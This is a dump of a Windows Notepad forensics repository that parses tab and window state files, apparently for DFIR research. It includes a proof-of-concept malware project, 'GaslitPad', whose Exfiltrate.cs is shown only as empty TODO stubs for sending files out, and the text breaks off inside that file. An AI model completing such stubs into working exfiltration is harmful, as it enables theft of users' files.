├── NotepadStateLibrary ├── TestApp │ ├── TestFiles │ │ ├── WordWrapOff.1.bin │ │ ├── SavedFile │ │ │ ├── SavedFile-Long.1.bin │ │ │ ├── SavedFile-Selection.1.bin │ │ │ ├── SavedFile-Short.1.bin │ │ │ ├── SavedFile-Short.txt │ │ │ ├── SavedFile-LargeCopyPaste-Closed.txt │ │ │ ├── SavedFile-LargeCopyPaste-NotClosed.txt │ │ │ ├── SavedFile-UnsavedChanges-Closed.txt │ │ │ ├── SavedFile-UnsavedChanges-NotClosed.txt │ │ │ ├── SavedFile-Selection.txt │ │ │ ├── SavedFile-Long.bin │ │ │ ├── SavedFile-Short.bin │ │ │ ├── SavedFile-Long.0.bin │ │ │ ├── SavedFile-Short.0.bin │ │ │ ├── SavedFile-Selection.bin │ │ │ ├── SavedFile-Selection.0.bin │ │ │ ├── SavedFile-LargeCopyPaste-Closed.bin │ │ │ ├── SavedFile-UnsavedChanges-Closed.bin │ │ │ ├── SavedFile-LargeCopyPaste-NotClosed.bin │ │ │ └── SavedFile-UnsavedChanges-NotClosed.bin │ │ ├── Encoding │ │ │ ├── EncodingANSI.txt │ │ │ ├── EncodingUTF8.txt │ │ │ ├── EncodingUTF8BOM.txt │ │ │ ├── EncodingANSI.bin │ │ │ ├── EncodingUTF8.bin │ │ │ ├── EncodingUTF16BE.bin │ │ │ ├── EncodingUTF16BE.txt │ │ │ ├── EncodingUTF16LE.bin │ │ │ ├── EncodingUTF16LE.txt │ │ │ └── EncodingUTF8BOM.bin │ │ ├── CarriageReturn │ │ │ ├── MacintoshCR.txt │ │ │ ├── UnixLF.txt │ │ │ ├── WindowsCRLF.txt │ │ │ ├── UnixLF.bin │ │ │ ├── MacintoshCR.bin │ │ │ └── WindowsCRLF.bin │ │ ├── WordWrapOn.bin │ │ ├── WordWrapOff.bin │ │ └── WordWrapOff.0.bin │ ├── TestApp.csproj │ └── Program.cs ├── xUnitTests │ └── TestFiles │ │ ├── TextFiles │ │ ├── SavedFile-Short.txt │ │ └── SavedFile-Short-UnsavedChanges.txt │ │ └── 11.2504.62.0 │ │ ├── TabState │ │ ├── 00bc8eb6-b8bb-459b-973a-a998b734b47c.1.bin │ │ ├── 8508552a-b3e8-46d6-9203-9c75dd0b24a5.1.bin │ │ ├── 1d971dfe-9e67-4849-a7e5-a46f4100ad0b.bin │ │ ├── 215c7345-13c2-440a-b6bb-df737db3f327.bin │ │ ├── 3249c0ef-a5ef-4dc6-bb00-b84a1dab317f.bin │ │ ├── 8508552a-b3e8-46d6-9203-9c75dd0b24a5.bin │ │ ├── abb3d672-e5d2-4994-9bc3-483a44805b16.bin │ │ ├── 00bc8eb6-b8bb-459b-973a-a998b734b47c.0.bin │ │ ├── 1d971dfe-9e67-4849-a7e5-a46f4100ad0b.0.bin │ │ ├── 1d971dfe-9e67-4849-a7e5-a46f4100ad0b.1.bin │ │ ├── 8508552a-b3e8-46d6-9203-9c75dd0b24a5.0.bin │ │ └── 00bc8eb6-b8bb-459b-973a-a998b734b47c.bin │ │ └── WindowState │ │ ├── 7e53e928-c430-4045-95f5-0619f1d906dd.0.bin │ │ └── 7e53e928-c430-4045-95f5-0619f1d906dd.1.bin ├── ValidationTests │ ├── ValidationResults.db │ ├── ValidationTests.csproj │ └── Program.cs ├── NotepadStateLibrary │ ├── NotepadStateLibrary.csproj │ ├── WindowXY.cs │ ├── CRC32Check.cs │ ├── UnsavedBufferChunk.cs │ ├── LEB128Converter.cs │ ├── NPWindowState.cs │ └── NPTabState.cs ├── POCMalware │ ├── App.config │ ├── GaslitPad.csproj │ ├── Exfiltrate.cs │ ├── InputTimer.cs │ ├── wp-config.php │ └── Program.cs ├── WindowStateEditor │ ├── WindowStateEditor.csproj │ └── Program.cs ├── WindowsNotepadParser-Minimal │ ├── WindowsNotepadParser-Minimal.csproj │ ├── CSVMaps.cs │ └── Program.cs ├── WindowsNotepadParser │ ├── WindowsNotepadParser.csproj │ ├── ContentToImage.cs │ ├── CSVMaps.cs │ └── Program.cs └── NotepadStateLibrary.sln ├── Images ├── Font.png ├── AppTheme.png ├── Notepad.png ├── OpenFile.png ├── Settings.png ├── AutoCorrect.png ├── FontFamily.png ├── SmokingGun.gif ├── Spellcheck.png ├── Type Letter.png ├── Unsaved Dot.png ├── Windowstate.png ├── Delete Letter.png ├── Insert Letter.png ├── StartBehavior.png ├── State - File.png ├── WordWrap-Tab.png ├── Overwrite Text.png ├── RegistryViewer.png ├── Scenario - Saved.png ├── State - No File.png ├── Deleted Text Block.png ├── Pasted Text Block.png ├── RightClickOptions.png ├── Scenario - Changes.gif ├── Scenario - Collect.gif ├── Scenario - Unsaved.png ├── TeachingTipVersion.png ├── Unsaved File - New.png ├── Saved File - Changes.png ├── Scenario - Original.gif ├── Saved File - Read Only.png ├── Unsaved File - Reopened.png ├── Scenario - Reconstructed.gif └── Unsaved File - Reopened with changes.png ├── Release-Packages └── WindowsNotepadParser-v1.0.0.zip ├── PatternFiles ├── Windowstate │ ├── Notepad-WindowState.hexpat │ └── Notepad-WindowState.bt └── Tabstate │ ├── Notepad-TabState.bt │ └── Notepad-TabState.hexpat ├── LICENSE ├── .gitignore ├── README.md └── DFIR Review - Is that Windows Notepad Window really empty.md /NotepadStateLibrary/TestApp/TestFiles/WordWrapOff.1.bin: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /NotepadStateLibrary/TestApp/TestFiles/SavedFile/SavedFile-Long.1.bin: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /NotepadStateLibrary/TestApp/TestFiles/SavedFile/SavedFile-Selection.1.bin: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /NotepadStateLibrary/TestApp/TestFiles/SavedFile/SavedFile-Short.1.bin: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /NotepadStateLibrary/TestApp/TestFiles/Encoding/EncodingANSI.txt: -------------------------------------------------------------------------------- 1 | ANSI Encoding -------------------------------------------------------------------------------- /NotepadStateLibrary/TestApp/TestFiles/Encoding/EncodingUTF8.txt: -------------------------------------------------------------------------------- 1 | UTF8 Encoding -------------------------------------------------------------------------------- /NotepadStateLibrary/TestApp/TestFiles/CarriageReturn/MacintoshCR.txt: -------------------------------------------------------------------------------- 1 | Macintosh CR -------------------------------------------------------------------------------- /NotepadStateLibrary/TestApp/TestFiles/CarriageReturn/UnixLF.txt: -------------------------------------------------------------------------------- 1 | Unix LF 2 | 3 | -------------------------------------------------------------------------------- /NotepadStateLibrary/TestApp/TestFiles/Encoding/EncodingUTF8BOM.txt: -------------------------------------------------------------------------------- 1 | UTF8 BOM Encoding -------------------------------------------------------------------------------- /NotepadStateLibrary/TestApp/TestFiles/CarriageReturn/WindowsCRLF.txt: -------------------------------------------------------------------------------- 1 | Windows CRLF 2 | 3 | -------------------------------------------------------------------------------- /NotepadStateLibrary/TestApp/TestFiles/SavedFile/SavedFile-Short.txt: -------------------------------------------------------------------------------- 1 | Saved file short 2 | 3 | -------------------------------------------------------------------------------- /NotepadStateLibrary/xUnitTests/TestFiles/TextFiles/SavedFile-Short.txt: -------------------------------------------------------------------------------- 1 | Saved file short 2 | -------------------------------------------------------------------------------- /Images/Font.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/Images/Font.png -------------------------------------------------------------------------------- /Images/AppTheme.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/Images/AppTheme.png -------------------------------------------------------------------------------- /Images/Notepad.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/Images/Notepad.png -------------------------------------------------------------------------------- /Images/OpenFile.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/Images/OpenFile.png -------------------------------------------------------------------------------- /Images/Settings.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/Images/Settings.png -------------------------------------------------------------------------------- /Images/AutoCorrect.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/Images/AutoCorrect.png -------------------------------------------------------------------------------- /Images/FontFamily.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/Images/FontFamily.png -------------------------------------------------------------------------------- /Images/SmokingGun.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/Images/SmokingGun.gif -------------------------------------------------------------------------------- /Images/Spellcheck.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/Images/Spellcheck.png -------------------------------------------------------------------------------- /Images/Type Letter.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/Images/Type Letter.png -------------------------------------------------------------------------------- /Images/Unsaved Dot.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/Images/Unsaved Dot.png -------------------------------------------------------------------------------- /Images/Windowstate.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/Images/Windowstate.png -------------------------------------------------------------------------------- /NotepadStateLibrary/xUnitTests/TestFiles/11.2504.62.0/TabState/00bc8eb6-b8bb-459b-973a-a998b734b47c.1.bin: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /NotepadStateLibrary/xUnitTests/TestFiles/11.2504.62.0/TabState/8508552a-b3e8-46d6-9203-9c75dd0b24a5.1.bin: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /NotepadStateLibrary/xUnitTests/TestFiles/TextFiles/SavedFile-Short-UnsavedChanges.txt: -------------------------------------------------------------------------------- 1 | Saved file short 2 | -------------------------------------------------------------------------------- /Images/Delete Letter.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/Images/Delete Letter.png -------------------------------------------------------------------------------- /Images/Insert Letter.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/Images/Insert Letter.png -------------------------------------------------------------------------------- /Images/StartBehavior.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/Images/StartBehavior.png -------------------------------------------------------------------------------- /Images/State - File.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/Images/State - File.png -------------------------------------------------------------------------------- /Images/WordWrap-Tab.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/Images/WordWrap-Tab.png -------------------------------------------------------------------------------- /Images/Overwrite Text.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/Images/Overwrite Text.png -------------------------------------------------------------------------------- /Images/RegistryViewer.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/Images/RegistryViewer.png -------------------------------------------------------------------------------- /Images/Scenario - Saved.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/Images/Scenario - Saved.png -------------------------------------------------------------------------------- /Images/State - No File.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/Images/State - No File.png -------------------------------------------------------------------------------- /NotepadStateLibrary/TestApp/TestFiles/SavedFile/SavedFile-LargeCopyPaste-Closed.txt: -------------------------------------------------------------------------------- 1 | Saved file with large copy paste -------------------------------------------------------------------------------- /NotepadStateLibrary/TestApp/TestFiles/SavedFile/SavedFile-LargeCopyPaste-NotClosed.txt: -------------------------------------------------------------------------------- 1 | Saved file with large copy paste -------------------------------------------------------------------------------- /NotepadStateLibrary/TestApp/TestFiles/SavedFile/SavedFile-UnsavedChanges-Closed.txt: -------------------------------------------------------------------------------- 1 | Saved File but with unsaved changes -------------------------------------------------------------------------------- /Images/Deleted Text Block.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/Images/Deleted Text Block.png -------------------------------------------------------------------------------- /Images/Pasted Text Block.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/Images/Pasted Text Block.png -------------------------------------------------------------------------------- /Images/RightClickOptions.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/Images/RightClickOptions.png -------------------------------------------------------------------------------- /Images/Scenario - Changes.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/Images/Scenario - Changes.gif -------------------------------------------------------------------------------- /Images/Scenario - Collect.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/Images/Scenario - Collect.gif -------------------------------------------------------------------------------- /Images/Scenario - Unsaved.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/Images/Scenario - Unsaved.png -------------------------------------------------------------------------------- /Images/TeachingTipVersion.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/Images/TeachingTipVersion.png -------------------------------------------------------------------------------- /Images/Unsaved File - New.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/Images/Unsaved File - New.png -------------------------------------------------------------------------------- /NotepadStateLibrary/TestApp/TestFiles/SavedFile/SavedFile-UnsavedChanges-NotClosed.txt: -------------------------------------------------------------------------------- 1 | Saved File but with unsaved changes -------------------------------------------------------------------------------- /Images/Saved File - Changes.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/Images/Saved File - Changes.png -------------------------------------------------------------------------------- /Images/Scenario - Original.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/Images/Scenario - Original.gif -------------------------------------------------------------------------------- /Images/Saved File - Read Only.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/Images/Saved File - Read Only.png -------------------------------------------------------------------------------- /Images/Unsaved File - Reopened.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/Images/Unsaved File - Reopened.png -------------------------------------------------------------------------------- /Images/Scenario - Reconstructed.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/Images/Scenario - Reconstructed.gif -------------------------------------------------------------------------------- /NotepadStateLibrary/TestApp/TestFiles/SavedFile/SavedFile-Selection.txt: -------------------------------------------------------------------------------- 1 | This text will have a selection in it THIS TEXT HAS BEEN SELECTED -------------------------------------------------------------------------------- /Images/Unsaved File - Reopened with changes.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/Images/Unsaved File - Reopened with changes.png -------------------------------------------------------------------------------- /Release-Packages/WindowsNotepadParser-v1.0.0.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/Release-Packages/WindowsNotepadParser-v1.0.0.zip -------------------------------------------------------------------------------- /NotepadStateLibrary/TestApp/TestFiles/WordWrapOn.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/NotepadStateLibrary/TestApp/TestFiles/WordWrapOn.bin -------------------------------------------------------------------------------- /NotepadStateLibrary/TestApp/TestFiles/WordWrapOff.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/NotepadStateLibrary/TestApp/TestFiles/WordWrapOff.bin -------------------------------------------------------------------------------- /NotepadStateLibrary/TestApp/TestFiles/WordWrapOff.0.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/NotepadStateLibrary/TestApp/TestFiles/WordWrapOff.0.bin -------------------------------------------------------------------------------- /NotepadStateLibrary/ValidationTests/ValidationResults.db: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/NotepadStateLibrary/ValidationTests/ValidationResults.db -------------------------------------------------------------------------------- /NotepadStateLibrary/TestApp/TestFiles/CarriageReturn/UnixLF.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/NotepadStateLibrary/TestApp/TestFiles/CarriageReturn/UnixLF.bin -------------------------------------------------------------------------------- /NotepadStateLibrary/TestApp/TestFiles/Encoding/EncodingANSI.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/NotepadStateLibrary/TestApp/TestFiles/Encoding/EncodingANSI.bin -------------------------------------------------------------------------------- /NotepadStateLibrary/TestApp/TestFiles/Encoding/EncodingUTF8.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/NotepadStateLibrary/TestApp/TestFiles/Encoding/EncodingUTF8.bin -------------------------------------------------------------------------------- /NotepadStateLibrary/TestApp/TestFiles/Encoding/EncodingUTF16BE.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/NotepadStateLibrary/TestApp/TestFiles/Encoding/EncodingUTF16BE.bin -------------------------------------------------------------------------------- /NotepadStateLibrary/TestApp/TestFiles/Encoding/EncodingUTF16BE.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/NotepadStateLibrary/TestApp/TestFiles/Encoding/EncodingUTF16BE.txt -------------------------------------------------------------------------------- /NotepadStateLibrary/TestApp/TestFiles/Encoding/EncodingUTF16LE.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/NotepadStateLibrary/TestApp/TestFiles/Encoding/EncodingUTF16LE.bin -------------------------------------------------------------------------------- /NotepadStateLibrary/TestApp/TestFiles/Encoding/EncodingUTF16LE.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/NotepadStateLibrary/TestApp/TestFiles/Encoding/EncodingUTF16LE.txt -------------------------------------------------------------------------------- /NotepadStateLibrary/TestApp/TestFiles/Encoding/EncodingUTF8BOM.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/NotepadStateLibrary/TestApp/TestFiles/Encoding/EncodingUTF8BOM.bin -------------------------------------------------------------------------------- /NotepadStateLibrary/TestApp/TestFiles/SavedFile/SavedFile-Long.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/NotepadStateLibrary/TestApp/TestFiles/SavedFile/SavedFile-Long.bin -------------------------------------------------------------------------------- /NotepadStateLibrary/TestApp/TestFiles/SavedFile/SavedFile-Short.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/NotepadStateLibrary/TestApp/TestFiles/SavedFile/SavedFile-Short.bin -------------------------------------------------------------------------------- /NotepadStateLibrary/TestApp/TestFiles/CarriageReturn/MacintoshCR.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/NotepadStateLibrary/TestApp/TestFiles/CarriageReturn/MacintoshCR.bin -------------------------------------------------------------------------------- /NotepadStateLibrary/TestApp/TestFiles/CarriageReturn/WindowsCRLF.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/NotepadStateLibrary/TestApp/TestFiles/CarriageReturn/WindowsCRLF.bin -------------------------------------------------------------------------------- /NotepadStateLibrary/TestApp/TestFiles/SavedFile/SavedFile-Long.0.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/NotepadStateLibrary/TestApp/TestFiles/SavedFile/SavedFile-Long.0.bin -------------------------------------------------------------------------------- /NotepadStateLibrary/TestApp/TestFiles/SavedFile/SavedFile-Short.0.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/NotepadStateLibrary/TestApp/TestFiles/SavedFile/SavedFile-Short.0.bin -------------------------------------------------------------------------------- /NotepadStateLibrary/TestApp/TestFiles/SavedFile/SavedFile-Selection.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/NotepadStateLibrary/TestApp/TestFiles/SavedFile/SavedFile-Selection.bin -------------------------------------------------------------------------------- /NotepadStateLibrary/TestApp/TestFiles/SavedFile/SavedFile-Selection.0.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/NotepadStateLibrary/TestApp/TestFiles/SavedFile/SavedFile-Selection.0.bin -------------------------------------------------------------------------------- /NotepadStateLibrary/TestApp/TestFiles/SavedFile/SavedFile-LargeCopyPaste-Closed.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/NotepadStateLibrary/TestApp/TestFiles/SavedFile/SavedFile-LargeCopyPaste-Closed.bin -------------------------------------------------------------------------------- /NotepadStateLibrary/TestApp/TestFiles/SavedFile/SavedFile-UnsavedChanges-Closed.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/NotepadStateLibrary/TestApp/TestFiles/SavedFile/SavedFile-UnsavedChanges-Closed.bin -------------------------------------------------------------------------------- /NotepadStateLibrary/TestApp/TestFiles/SavedFile/SavedFile-LargeCopyPaste-NotClosed.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/NotepadStateLibrary/TestApp/TestFiles/SavedFile/SavedFile-LargeCopyPaste-NotClosed.bin -------------------------------------------------------------------------------- /NotepadStateLibrary/TestApp/TestFiles/SavedFile/SavedFile-UnsavedChanges-NotClosed.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/NotepadStateLibrary/TestApp/TestFiles/SavedFile/SavedFile-UnsavedChanges-NotClosed.bin -------------------------------------------------------------------------------- /NotepadStateLibrary/xUnitTests/TestFiles/11.2504.62.0/TabState/1d971dfe-9e67-4849-a7e5-a46f4100ad0b.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/NotepadStateLibrary/xUnitTests/TestFiles/11.2504.62.0/TabState/1d971dfe-9e67-4849-a7e5-a46f4100ad0b.bin -------------------------------------------------------------------------------- /NotepadStateLibrary/xUnitTests/TestFiles/11.2504.62.0/TabState/215c7345-13c2-440a-b6bb-df737db3f327.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/NotepadStateLibrary/xUnitTests/TestFiles/11.2504.62.0/TabState/215c7345-13c2-440a-b6bb-df737db3f327.bin -------------------------------------------------------------------------------- /NotepadStateLibrary/xUnitTests/TestFiles/11.2504.62.0/TabState/3249c0ef-a5ef-4dc6-bb00-b84a1dab317f.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/NotepadStateLibrary/xUnitTests/TestFiles/11.2504.62.0/TabState/3249c0ef-a5ef-4dc6-bb00-b84a1dab317f.bin -------------------------------------------------------------------------------- /NotepadStateLibrary/xUnitTests/TestFiles/11.2504.62.0/TabState/8508552a-b3e8-46d6-9203-9c75dd0b24a5.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/NotepadStateLibrary/xUnitTests/TestFiles/11.2504.62.0/TabState/8508552a-b3e8-46d6-9203-9c75dd0b24a5.bin -------------------------------------------------------------------------------- /NotepadStateLibrary/xUnitTests/TestFiles/11.2504.62.0/TabState/abb3d672-e5d2-4994-9bc3-483a44805b16.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/NotepadStateLibrary/xUnitTests/TestFiles/11.2504.62.0/TabState/abb3d672-e5d2-4994-9bc3-483a44805b16.bin -------------------------------------------------------------------------------- /NotepadStateLibrary/xUnitTests/TestFiles/11.2504.62.0/TabState/00bc8eb6-b8bb-459b-973a-a998b734b47c.0.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/NotepadStateLibrary/xUnitTests/TestFiles/11.2504.62.0/TabState/00bc8eb6-b8bb-459b-973a-a998b734b47c.0.bin -------------------------------------------------------------------------------- /NotepadStateLibrary/xUnitTests/TestFiles/11.2504.62.0/TabState/1d971dfe-9e67-4849-a7e5-a46f4100ad0b.0.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/NotepadStateLibrary/xUnitTests/TestFiles/11.2504.62.0/TabState/1d971dfe-9e67-4849-a7e5-a46f4100ad0b.0.bin -------------------------------------------------------------------------------- /NotepadStateLibrary/xUnitTests/TestFiles/11.2504.62.0/TabState/1d971dfe-9e67-4849-a7e5-a46f4100ad0b.1.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/NotepadStateLibrary/xUnitTests/TestFiles/11.2504.62.0/TabState/1d971dfe-9e67-4849-a7e5-a46f4100ad0b.1.bin -------------------------------------------------------------------------------- /NotepadStateLibrary/xUnitTests/TestFiles/11.2504.62.0/TabState/8508552a-b3e8-46d6-9203-9c75dd0b24a5.0.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/NotepadStateLibrary/xUnitTests/TestFiles/11.2504.62.0/TabState/8508552a-b3e8-46d6-9203-9c75dd0b24a5.0.bin -------------------------------------------------------------------------------- /NotepadStateLibrary/xUnitTests/TestFiles/11.2504.62.0/WindowState/7e53e928-c430-4045-95f5-0619f1d906dd.0.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/NotepadStateLibrary/xUnitTests/TestFiles/11.2504.62.0/WindowState/7e53e928-c430-4045-95f5-0619f1d906dd.0.bin -------------------------------------------------------------------------------- /NotepadStateLibrary/xUnitTests/TestFiles/11.2504.62.0/WindowState/7e53e928-c430-4045-95f5-0619f1d906dd.1.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/NotepadStateLibrary/xUnitTests/TestFiles/11.2504.62.0/WindowState/7e53e928-c430-4045-95f5-0619f1d906dd.1.bin -------------------------------------------------------------------------------- /NotepadStateLibrary/xUnitTests/TestFiles/11.2504.62.0/TabState/00bc8eb6-b8bb-459b-973a-a998b734b47c.bin: -------------------------------------------------------------------------------- 1 | NPyC:\Users\Reversing\Documents\Notepad-State-Library\NotepadStateLibrary\xUnitTests\TestFiles\TextFiles\SavedFile-Short.txt!yt* -------------------------------------------------------------------------------- /NotepadStateLibrary/NotepadStateLibrary/NotepadStateLibrary.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | net8.0 5 | enable 6 | enable 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /NotepadStateLibrary/POCMalware/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | -------------------------------------------------------------------------------- /NotepadStateLibrary/TestApp/TestApp.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Exe 5 | net8.0 6 | enable 7 | enable 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | -------------------------------------------------------------------------------- /NotepadStateLibrary/NotepadStateLibrary/WindowXY.cs: -------------------------------------------------------------------------------- 1 | namespace NotepadStateLibrary 2 | { 3 | public struct WindowXY 4 | { 5 | /// 6 | /// 7 | /// 8 | public int X { get; } 9 | /// 10 | /// 11 | /// 12 | public int Y { get; } 13 | 14 | /// 15 | /// 16 | /// 17 | /// 18 | /// 19 | public WindowXY(int x, int y) 20 | { 21 | X = x; 22 | Y = y; 23 | } 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /NotepadStateLibrary/ValidationTests/ValidationTests.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Exe 5 | net8.0 6 | enable 7 | enable 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | Always 17 | 18 | 19 | 20 | 21 | -------------------------------------------------------------------------------- /NotepadStateLibrary/POCMalware/GaslitPad.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Exe 5 | net8.0 6 | enable 7 | enable 8 | 1.0.0 9 | ogmini 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | -------------------------------------------------------------------------------- /NotepadStateLibrary/WindowStateEditor/WindowStateEditor.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Exe 5 | net8.0 6 | enable 7 | enable 8 | ogmini 9 | 0.0.1 10 | https://github.com/ogmini/Notepad-State-Library 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | -------------------------------------------------------------------------------- /NotepadStateLibrary/POCMalware/Exfiltrate.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace GaslitPad 8 | { 9 | public static class Exfiltrate 10 | { 11 | public static void SendFiles(string directory, List filePaths) 12 | { 13 | //TODO: 14 | } 15 | 16 | public static void SendFile(string filePath) 17 | { 18 | //TODO: 19 | } 20 | 21 | public static void SendChanges(string filePath) 22 